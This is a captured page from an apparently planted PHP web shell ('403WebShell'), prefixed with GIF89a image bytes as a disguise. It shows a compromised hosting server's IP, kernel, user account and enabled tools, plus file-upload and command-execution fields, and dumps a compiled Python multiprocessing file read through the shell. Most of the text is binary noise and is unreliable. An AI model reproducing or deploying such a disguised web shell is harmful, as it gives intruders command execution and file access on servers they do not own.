GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘Ž¯pß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Šè•m"сœn|@›U¶ÆΞ—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X Ó؁)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oŠ°^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 104.21.83.152  /  Your IP : 216.73.216.66
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python35/lib64/python3.5/multiprocessing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /opt/alt/python35/lib64/python3.5/multiprocessing/__pycache__/managers.cpython-35.opt-2.pyc


���]{��@s�ddddgZddlZddlZddlZddlZddlmZddlmZdd	l	m
Z
dd
l	mZddl	mZddl	m
Z
dd
l	mZddl	mZddl	mZdd�Zejeje�dd�dddfD�Zedek	rJdd�ZxeD]Zejee�q0WGdd�de�Zfidd�Zdd�ZGdd�de�Zd d!�Zd"d#�ZGd$d%�d%e�ZGd&d'�d'e�Z d(e
j!e
j"fd)e
j#e
j$fiZ%Gd*d�de�Z&Gd+d,�d,e'�Z(Gd-d�de�Z)d.d/�Z*id0d1�Z+dddd2d3d4�Z,Gd5d6�d6e�Z-Gd7d8�d8e�Z.d2d9d:�Z/Gd;d<�d<e)�Z0Gd=d>�d>e)�Z1Gd?d@�d@e1�Z2GdAdB�dBe)�Z3GdCdD�dDe)�Z4GdEdF�dFe)�Z5GdGdH�dHe)�Z6e+dIdJdKdLdMdNdOdPdQdRdSdTdUdVdWdXdYdZd[d\f�Z7Gd]d^�d^e7�Z8e+d_dKdLdMdNdRd`dadbdcdddXdddedfdf�Z9e+dgdNdMdRf�Z:e+dhdidjdkdldmdndodpdqdrdsf�Z;djdtdpdtdrdtdldudmduie;_<Gdvdh�dhe;�Z=Gdwd�de&�Z>e>jdxej?�e>jdyej?�e>jdzej@e3�e>jd{ejAe1�e>jd|ejBe1�e>jd}ejCe1�e>jd~ejDe1�e>jdejEe2�e>jd�ejFe4�e>jd�ejGe=�e>jd�ee8�e>jd�eHe9�e>jd8e.e6�e>jd:e/e:�e>jd6e-e5�e>jdud�e0d�d��e>jdtd�d��dS)��BaseManager�SyncManager�	BaseProxy�Token�N)�time)�
format_exc�)�
connection)�context)�pool)�process)�	reduction)�util)�get_contextcCstj|j|j�ffS)N)�array�typecode�tobytes)�a�r�-/opt/alt/python35/lib64/python3.5/managers.py�reduce_array%srcCs(g|]}tti|����qSr)�type�getattr)�.0�namerrr�
<listcomp>)s	r�items�keys�valuescCstt|�ffS)N)�list)�objrrr�rebuild_as_list+sr!c@sFeZdZd
Zdd�Zdd�Zdd	�Zd
d�ZdS)r�typeid�address�idcCs!||||_|_|_dS)N)r"r#r$)�selfr"r#r$rrr�__init__:szToken.__init__cCs|j|j|jfS)N)r"r#r$)r%rrr�__getstate__=szToken.__getstate__cCs|\|_|_|_dS)N)r"r#r$)r%�staterrr�__setstate__@szToken.__setstate__cCs#d|jj|j|j|jfS)Nz %s(typeid=%r, address=%r, id=%r))�	__class__�__name__r"r#r$)r%rrr�__repr__CszToken.__repr__N)r"r#r$)r+�
__module__�__qualname__�	__slots__r&r'r)r,rrrrr4s
cCsN|j||||f�|j�\}}|dkr;|St||��dS)Nz#RETURN)�send�recv�convert_to_error)�cr$�
methodname�args�kwds�kind�resultrrr�dispatchKs
r9cCsN|dkr|S|dkr&t|�S|dkr@td|�Std�SdS)Nz#ERRORz
#TRACEBACKz#UNSERIALIZABLEzUnserializable message: %s
zUnrecognized message type)�RemoteError�
ValueError)r7r8rrrr2Us
r2c@seZdZdd�ZdS)r:cCs)ddddt|jd�ddS)N�
�-�Kr)�strr5)r%rrr�__str__bszRemoteError.__str__N)r+r-r.r@rrrrr:asr:cCsIg}x<t|�D].}t||�}t|�r|j|�qW|S)N)�dirr�callable�append)r �tempr�funcrrr�all_methodsisrFcCsdd�t|�D�S)NcSs&g|]}|ddkr|�qS)r�_r)rrrrrrxs	z"public_methods.<locals>.<listcomp>)rF)r rrr�public_methodstsrHc	@seZdZddddddddd	g	Zd
d�Zdd
�Zdd�Zdd�Zdd�Zdd�Z	dd�Z
dd�Zde
dede	iZdd�Z
dd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/S)0�Server�shutdown�create�accept_connection�get_methods�
debug_info�number_of_objects�dummy�incref�decrefcCs�||_tj|�|_t|\}}|d|dd�|_|jj|_ddffi|_i|_t	j
�|_dS)Nr#�backlog��0)�registryr�AuthenticationString�authkey�listener_client�listenerr#�	id_to_obj�id_to_refcount�	threading�RLock�mutex)r%rVr#rX�
serializer�Listener�Clientrrrr&�s		zServer.__init__cCs�tj�|_|tj�_zqtjd|j�}d|_|j	�y*x#|jj
�sq|jjd�qOWWntt
fk
r�YnXWdtjtjkr�tjd�tjt_tjt_tjd�XdS)N�targetTrzresetting stdout, stderrr)r]�Event�
stop_eventr�current_process�_manager_server�Thread�accepter�daemon�start�is_set�wait�KeyboardInterrupt�
SystemExit�sys�stdout�
__stdout__r�debug�
__stderr__�stderr�exit)r%rirrr�
serve_forever�s 	
	
zServer.serve_foreverc
Csgx`y|jj�}Wntk
r-wYnXtjd|jd|f�}d|_|j�qWdS)Nrcr5T)rZ�accept�OSErrorr]rh�handle_requestrjrk)r%r3�trrrri�s
	zServer.accepterc'Csud}}}yWtj||j�tj||j�|j�}|\}}}}t||�}Wn!tk
r�dt�f}	YnGXy||||�}Wn!tk
r�dt�f}	Yn
Xd|f}	y|j|	�Wn�tk
rf}
zdy|jdt�f�Wntk
r#YnXt	j
d|	�t	j
d|�t	j
d|
�WYdd}
~
XnX|j�dS)Nz
#TRACEBACKz#RETURNzFailure to send message: %rz ... request was %rz ... exception was %r)r	�deliver_challengerX�answer_challenger1r�	Exceptionrr0r�info�close)r%r3�funcnamer8�request�ignorer5r6rE�msg�errrrz�s2


#zServer.handle_requestc*Cs%tjdtj�j�|j}|j}|j}x�|jj	�s y,d}}|�}|\}}}	}
||\}}}||kr�t
d|t|�|f��t||�}
y|
|	|
�}Wn1t
k
r}zd|f}WYdd}~XnpX|o|j|d�}|re|j|||�\}}t||j|�}d||ff}nd|f}Wn�t
k
r|dkr�dt�f}n\y8|j|}||||||	|
�}d|f}Wn!t
k
r�dt�f}YnXYnXtk
r7tjdtj�j�tjd�Yn!t
k
rWdt�f}YnXyMy||�Wn8t
k
r�}z|d	t�f�WYdd}~XnXWq7t
k
r}zUtjd
tj�j�tjd|�tjd|�|j�tjd
�WYdd}~Xq7Xq7WdS)Nz$starting server thread to service %rz+method %r of %r object is not in exposed=%rz#ERRORz#PROXYz#RETURNz
#TRACEBACKz$got EOF -- exiting thread serving %rrz#UNSERIALIZABLEzexception in thread serving %rz ... message was %rz ... exception was %rr)rrsr]�current_threadrr1r0r[rerl�AttributeErrorrrr~�getrKrr#r�fallback_mapping�EOFErrorrprvrr�)r%�connr1r0r[r4r r��identr5r6�exposedZ	gettypeid�function�resr�r�r"ZridentZrexposed�tokenZ
fallback_funcr8rrr�serve_client�sl				
	



	
*	
zServer.serve_clientcCs|S)Nr)r%r�r�r rrr�fallback_getvalueszServer.fallback_getvaluecCs
t|�S)N)r?)r%r�r�r rrr�fallback_str"szServer.fallback_strcCs
t|�S)N)�repr)r%r�r�r rrr�
fallback_repr%szServer.fallback_reprr@r,z	#GETVALUEcCsdS)Nr)r%r3rrrrP.szServer.dummycCs�|j��g}t|jj��}|j�xV|D]N}|dkr6|jd||j|t|j|d�dd�f�q6Wdj|�SWdQRXdS)NrUz  %s:       refcount=%s
    %srr>r<)	r_rr[r�sortrCr\r?�join)r%r3r8rr�rrrrN1s


	
*zServer.debug_infocCst|j�dS)Nr)�lenr[)r%r3rrrrO@szServer.number_of_objectscCsXzCytjd�|jd�Wnddl}|j�YnXWd|jj�XdS)Nz!manager received shutdown message�#RETURNr)r�N)rrsr0�	traceback�	print_excre�set)r%r3r�rrrrJFs
zServer.shutdowncOs|j��|j|\}}}}|dkr<|d}	n|||�}	|dkrct|	�}|dk	r�t|�t|�}dt|	�}
tjd||
�|	t|�|f|j|
<|
|j	kr�d|j	|
<|j
||
�|
t|�fSWdQRXdS)Nrz%xz&%r callable returned object with id %r)r_rVrHrr$rrsr�r[r\rQ�tuple)r%r3r"r5r6rBr��method_to_typeid�	proxytyper r�rrrrKSs 


z
Server.createcCst|j|jd�S)Nr)r�r[r$)r%r3r�rrrrMvszServer.get_methodscCs-|tj�_|jd�|j|�dS)N�#RETURN)r�N)r]r�rr0r�)r%r3rrrrrL|s
zServer.accept_connectioncCs&|j�|j|d7<WdQRXdS)Nr)r_r\)r%r3r�rrrrQ�s
z
Server.increfcCs]|j�M|j|d8<|j|dkrR|j|=|j|=tjd|�WdQRXdS)Nrrzdisposing of obj with id %r)r_r\r[rrs)r%r3r�rrrrR�s

z
Server.decrefN)r+r-r.Zpublicr&rwrirzr�r�r�r�r�rPrNrOrJrKrMrLrQrRrrrrrI~s,
"J
#rIc@s+eZdZdgZdZdZdZdS)�State�valuerr�N)r+r-r.r/�INITIAL�STARTED�SHUTDOWNrrrrr��s	r��pickle�	xmlrpclibc@seZdZiZeZdddddd�Zdd�Zdd�Zdfd	d
�Z	e
dfdd��Zd
d�Zddd�Z
dd�Zdd�Zdd�Zdd�Zedd��Zedd��Ze
ddddddd��ZdS) rNr�cCs�|dkrtj�j}||_tj|�|_t�|_tj|j_	||_
t|\|_|_
|p|t�|_dS)N)rrfrX�_addressrW�_authkeyr��_stater�r��_serializerrYZ	_Listener�_Clientr�_ctx)r%r#rXr`�ctxrrrr&�s		zBaseManager.__init__cCst|j|j|j|j�S)N)rI�	_registryr�r�r�)r%rrr�
get_server�szBaseManager.get_servercCsNt|j\}}||jd|j�}t|dd�tj|j_dS)NrXrP)	rYr�r�r�r9r�r�r�r�)r%rarbr�rrr�connect�szBaseManager.connectcCsO|dk	r%t|�r%td��tjdd�\}}|jjdt|�jd|j|j	|j
|j|||f�|_dj
dd�|jjD��}t|�jd	||j_|jj�|j�|j�|_	|j�tj|j_tj|t|�jd|j|j	|j
|j|jfd
d�|_dS)Nzinitializer must be a callable�duplexFrcr5�:css|]}t|�VqdS)N)r?)r�irrr�	<genexpr>�sz$BaseManager.start.<locals>.<genexpr>r=�exitpriorityr)rB�	TypeErrorr	�Piper��Processr�_run_serverr�r�r�r��_processr��	_identityr+rrkr�r1r�r�r�r�r�Finalize�_finalize_managerr�rJ)r%�initializer�initargs�reader�writerr�rrrrk�s&"


zBaseManager.startc	Csi|dk	r||�|j||||�}|j|j�|j�tjd|j�|j�dS)Nzmanager serving at %r)�_Serverr0r#r�rrrw)	�clsrVr#rXr`r�r�r��serverrrrr��s

zBaseManager._run_servercOsk|j|jd|j�}z)t|dd|f||�\}}Wd|j�Xt||j|�|fS)NrXrK)r�r�r�r9r�r)r%r"r5r6r�r$r�rrr�_creates
)zBaseManager._createcCs;|jdk	r7|jj|�|jj�s7d|_dS)N)r�r��is_alive)r%�timeoutrrrr�szBaseManager.joinc
CsA|j|jd|j�}zt|dd�SWd|j�XdS)NrXrN)r�r�r�r9r�)r%r�rrr�_debug_infoszBaseManager._debug_infoc
CsA|j|jd|j�}zt|dd�SWd|j�XdS)NrXrO)r�r�r�r9r�)r%r�rrr�_number_of_objects"szBaseManager._number_of_objectscCs#|jjtjkr|j�|S)N)r�r�r�r�rk)r%rrr�	__enter__,s
zBaseManager.__enter__cCs|j�dS)N)rJ)r%�exc_type�exc_val�exc_tbrrr�__exit__2szBaseManager.__exit__cCs|j�r�tjd�y8||d|�}zt|dd�Wd|j�XWntk
reYnX|jdd�|j�r�tjd�t|d�r�tjd�|j�|jdd	�|j�r�tjd
�t	j
|_ytj
|=Wntk
rYnXdS)Nz#sending shutdown message to managerrXrJr�g�?zmanager still alive�	terminatez'trying to `terminate()` manager processg�������?z#manager still alive after terminate)r�rrr9r�r~r��hasattrr�r�r�r�r�_address_to_local�KeyError)rr#rXr(r�r�rrrr�5s.






zBaseManager._finalize_managercCs|jS)N)r�)r%rrr�<lambda>UszBaseManager.<lambda>Tc
s�d|jkr!|jj�|_�dkr3t�|pHt�dd�}|p`t�dd�}|r�x t|j��D]\}}q|W|||�f|j�<|r���fdd�}	�|	_t|�|	�dS)Nr��	_exposed_�_method_to_typeid_c	s�tjd��|j�||�\}}�||jd|d|jd|�}|j|jd|j�}t|dd|jf�|S)Nz)requesting creation of a shared %r object�managerrXr�rR)	rrsr�r�r�r�r#r9r$)r%r5r6r��exp�proxyr�)r�r"rrrDrsz"BaseManager.register.<locals>.temp)	�__dict__r��copy�	AutoProxyrrrr+�setattr)
r�r"rBr�r�r��
create_method�keyr�rDr)r�r"r�registerWs
	zBaseManager.register)r+r-r.r�rIr�r&r�r�rk�classmethodr�r�r�r�r�r�r��staticmethodr��propertyr#r�rrrrr�s(		$	

 	c@s(eZdZdd�Zdd�ZdS)�ProcessLocalSetcCstj|dd��dS)NcSs
|j�S)N)�clear)r rrrr��sz*ProcessLocalSet.__init__.<locals>.<lambda>)r�register_after_fork)r%rrrr&�szProcessLocalSet.__init__cCst|�ffS)N)r)r%rrr�
__reduce__�szProcessLocalSet.__reduce__N)r+r-r.r&r�rrrrr��sr�c@s�eZdZiZej�Zdddddd�Zdd�Zfidd�Z	d	d
�Z
dd�Zed
d��Z
dd�Zdd�Zdd�Zdd�Zdd�ZdS)rNTc
Cs*tj�Ntjj|jd�}|dkrStj�t�f}|tj|j<WdQRX|d|_|d|_	||_
|j
j|_||_
||_t|d|_|dk	r�tj|�|_n3|j
dk	r�|j
j|_ntj�j|_|r|j�tj|tj�dS)Nrr)r�_mutexr�r�r#r�ForkAwareLocalr��_tls�_idset�_tokenr$�_id�_managerr�rYr�rrWr�rfrX�_increfr��_after_fork)r%r�r`r�rXr�rQZ	tls_idsetrrrr&�s(


			
zBaseProxy.__init__cCs�tjd�tj�j}tj�jdkrH|dtj�j7}|j|jj	d|j
�}t|dd|f�||j_
dS)Nzmaking connection to manager�
MainThread�|rXrL)rrsrrfrr]r�r�r�r#r�r9r�r	)r%rr�rrr�_connect�s
zBaseProxy._connectcCsEy|jj}WnAtk
rStjdtj�j�|j�|jj}YnX|j	|j
|||f�|j�\}}|dkr�|S|dkr2|\}}|jj
|jd	}	|jj|_|	||jd|jd|jd|�}
|j|jd|j�}t|dd|jf�|
St||��dS)
Nz#thread %r does not own a connectionz#RETURNz#PROXYrr�rXr�rR���)r�r	r�rrsr]r�rr�r0r�r1r�r�r"r�r#r�r�r�r9r$r2)r%r4r5r6r�r7r8r�r�r�r�rrr�_callmethod�s,
	
zBaseProxy._callmethodcCs
|jd�S)Nz	#GETVALUE)r�)r%rrr�	_getvalue�szBaseProxy._getvaluec
Cs�|j|jjd|j�}t|dd|jf�tjd|jj�|j	j
|j�|jor|jj}tj
|tjd|j|j||j|j	|jfdd�|_dS)NrXrQz	INCREF %rr5r��
)r�r�r#r�r9r�rrsr$r��addr�r�r�r�_decrefr��_close)r%r�r(rrrr��szBaseProxy._increfcCs|j|j�|dks.|jtjkr�yEtjd|j�||jd|�}t|dd|jf�Wq�t	k
r�}ztjd|�WYdd}~Xq�Xntjd|j�|rt
|d�rtjdtj�j
�|jj�|`dS)Nz	DECREF %rrXrRz... decref failed %sz%DECREF %r -- manager already shutdownr	z-thread %r has no more proxies so closing conn)�discardr$r�r�r�rrsr#r9r~r�r]r�rr	r�)r�rXr(ZtlsZidsetr�r�r�rrrr��s&	
zBaseProxy._decrefcCsTd|_y|j�Wn6tk
rO}ztjd|�WYdd}~XnXdS)Nzincref failed: %s)r�r�r~rr)r%r�rrrr�
s
	zBaseProxy._after_forkcCs�i}tj�dk	r%|j|d<t|dd�r`|j|d<tt|j|j|ffStt	|�|j|j|ffSdS)NrX�_isautoFr�)
r
�get_spawning_popenr�rr��RebuildProxyr�r�r�r)r%r6rrrr�s

zBaseProxy.__reduce__cCs
|j�S)N)r�)r%�memorrr�__deepcopy__"szBaseProxy.__deepcopy__cCs&dt|�j|jjt|�fS)Nz<%s object, typeid %r at %#x>)rr+r�r"r$)r%rrrr,%szBaseProxy.__repr__cCsBy|jd�SWn*tk
r=t|�dd�dSYnXdS)Nr,rz; '__str__()' failed>r�)r�r~r�)r%rrrr@)s
zBaseProxy.__str__)r+r-r.r�r�ForkAwareThreadLockr�r&r�r�r�r�r�r�r�r�rr,r@rrrrr�s"	
cCs�ttj�dd�}|rB|j|jkrB|j|jdS|jdd�ojttj�dd�}|||d||�SdS)NrgrrQTZ_inheritingF)rrrfr#r[r$�pop)rEr�r`r6r�rQrrrr�6sr�c
Cs�t|�}y|||fSWntk
r2YnXi}x%|D]}td||f|�q@Wt|tf|�}||_||||f<|S)NzLdef %s(self, *args, **kwds):
        return self._callmethod(%r, args, kwds))r�r��execrrr�)rr��_cacheZdic�meth�	ProxyTyperrr�
MakeProxyTypeKs

	rTc
Cs�t|d}|dkrY||jd|�}zt|dd|f�}Wd|j�X|dkrz|dk	rz|j}|dkr�tj�j}td|j	|�}|||d|d|d|�}	d|	_
|	S)NrrXrMz
AutoProxy[%s]r�rQT)rYr#r9r�r�rrfrXrr"r�)
r�r`r�rXr�rQr�r�rr�rrrr�as			r�c@s(eZdZdd�Zdd�ZdS)�	NamespacecKs|jj|�dS)N)r��update)r%r6rrrr&szNamespace.__init__cCst|jj��}g}x:|D]2\}}|jd�s"|jd||f�q"W|j�d|jjdj|�fS)NrGz%s=%rz%s(%s)z, )	rr�r�
startswithrCr�r*r+r�)r%rrDrr�rrrr,�s
zNamespace.__repr__N)r+r-r.r&r,rrrrr	~sr	c@sReZdZddd�Zdd�Zdd�Zdd	�Zeee�Zd
S)�ValueTcCs||_||_dS)N)�	_typecode�_value)r%rr��lockrrrr&�s	zValue.__init__cCs|jS)N)r)r%rrrr��sz	Value.getcCs
||_dS)N)r)r%r�rrrr��sz	Value.setcCs dt|�j|j|jfS)Nz
%s(%r, %r))rr+r
r)r%rrrr,�szValue.__repr__N)	r+r-r.r&r�r�r,r�r�rrrrr�s
rcCstj||�S)N)r)rZsequencerrrr�Array�src@sReZdZdZdd�Zdd�Zd	d
�Zdd�Zd
d�ZdS)�
IteratorProxy�__next__r0�throwr�cCs|S)Nr)r%rrr�__iter__�szIteratorProxy.__iter__cGs|jd|�S)Nr)r�)r%r5rrrr�szIteratorProxy.__next__cGs|jd|�S)Nr0)r�)r%r5rrrr0�szIteratorProxy.sendcGs|jd|�S)Nr)r�)r%r5rrrr�szIteratorProxy.throwcGs|jd|�S)Nr�)r�)r%r5rrrr��szIteratorProxy.closeN)rr0rr�)	r+r-r.r�rrr0rr�rrrrr�src@sLeZdZd
Zdddd�Zdd�Zd	d
�Zdd�ZdS)�
